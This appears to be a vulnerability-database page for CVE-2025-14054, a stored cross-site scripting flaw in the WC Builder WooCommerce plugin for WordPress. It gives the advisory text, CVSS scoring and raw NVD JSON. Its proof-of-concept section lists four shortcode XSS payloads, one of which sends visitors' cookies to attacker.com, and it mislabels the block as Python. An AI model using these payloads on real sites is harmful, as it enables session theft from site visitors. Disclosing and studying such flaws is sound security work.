Security Vulnerability Report
中文
CVE-2025-14054 CVSS 4.4 MEDIUM

CVE-2025-14054

Published: 2025-12-21 03:15:52
Last Modified: 2026-04-15 00:35:42

Description

The WC Builder – WooCommerce Page Builder for WPBakery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'heading_color' parameter (and multiple other styling parameters) of the `wpbforwpbakery_product_additional_information` shortcode in all versions up to, and including, 1.2.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WC Builder – WooCommerce Page Builder for WPBakery <= 1.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-14054: Stored XSS via heading_color parameter --> <!-- Attacker needs Shop Manager-level access or higher --> <!-- Method 1: Via shortcode in post/page content --> [wpbforwpbakery_product_additional_information heading_color='" onmouseover="alert(document.cookie)" x="'] <!-- Method 2: Via shortcode with JavaScript payload --> [wpbforwpbakery_product_additional_information heading_color='blue;background-color:red;" onload="alert(String.fromCharCode(88,83,83))" x="'] <!-- Method 3: Multiple styling parameters injection --> [wpbforwpbakery_product_additional_information heading_color='red' text_color='" style="background:url(javascript:alert(1))"'] <!-- Method 4: Stored XSS payload --> [wpbforwpbakery_product_additional_information heading_color='</style><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14054", "sourceIdentifier": "[email protected]", "published": "2025-12-21T03:15:52.307", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WC Builder – WooCommerce Page Builder for WPBakery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'heading_color' parameter (and multiple other styling parameters) of the `wpbforwpbakery_product_additional_information` shortcode in all versions up to, and including, 1.2.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wc-builder/tags/1.2.0/includes/addons/product_additional_information.php#L33", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wc-builder/trunk/includes/addons/product_additional_information.php#L33", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3419217/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4e4fe4b6-cc1e-40be-bd2e-bf2745244892?source=cve", "source": "[email protected]"}]}}